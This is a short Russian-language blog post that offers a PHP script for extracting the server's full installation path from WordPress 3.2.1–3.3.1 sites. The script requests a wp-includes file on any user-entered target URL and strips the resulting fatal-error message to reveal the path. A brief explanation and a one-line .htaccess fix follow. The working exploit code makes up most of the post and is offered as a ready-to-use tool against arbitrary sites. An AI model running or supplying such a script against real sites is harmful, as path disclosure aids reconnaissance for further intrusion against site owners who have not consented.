Итак, приведенный ниже код позволяет вытянуть путь к папке, где располагается блог на сервере хостера. Экспойт, как минимум, актуален для WordPress 3.2.1-3.3.1. Возможно для более ранних версий CMS трюк тоже сработает, — не проверял. Различием будет лишь номер строчки откуда вылетит «птичка».
<form method="get" action="#" > <input type="text" name="url" /> <input type="submit" value="Проверить URL" /> </form> <?php $u = @$_GET['url']; //целевой сайт $s = $u.'/wp-includes/vars.php'; $e = @file_get_contents($s); if($e and (!empty($e))) { $a = array("<br />\n<b>Fatal error</b>: Call to undefined function is_admin() in ", " on line <b>20</b><br />","/wp-includes/vars.php", "<br />\n<b>Fatal error</b>: Call to undefined function is_admin() in ", "Fatal error: Call to undefined function is_admin() in ", " on line 20"); for($i=0; $i < count($a); ++$i) $e = implode("", explode($a[$i],$e)); echo '<div>Полный путь сайта <strong>'.$u.'</strong>:<br />'.$e.'</div>'; } else echo 'Вы ещё ничего не ввели, либо данная мини-"дырка" успешно закрыта.'; ?>
Принцип действия несложен: обращаемся к практически любому файлу в системной директории движка «wp-includes». Т.е. необязательно лезть именно к «vars.php», сгодится и «admin-bar.php», к примеру. Ошибки там при таком нестандартном поведении по всей видимости просто не обрабатываются. Потому спокойно получаем из сгенерированного error интересующую информацию вот и всё.
Чем можно закрыть? Дешево&сердито прописываем в «.htaccess» корневой папки системы нехитрое отключение вывода исключений (один из вариантов):
php_flag display_errors off
Напоследок, пробуем
Источник: sooource.net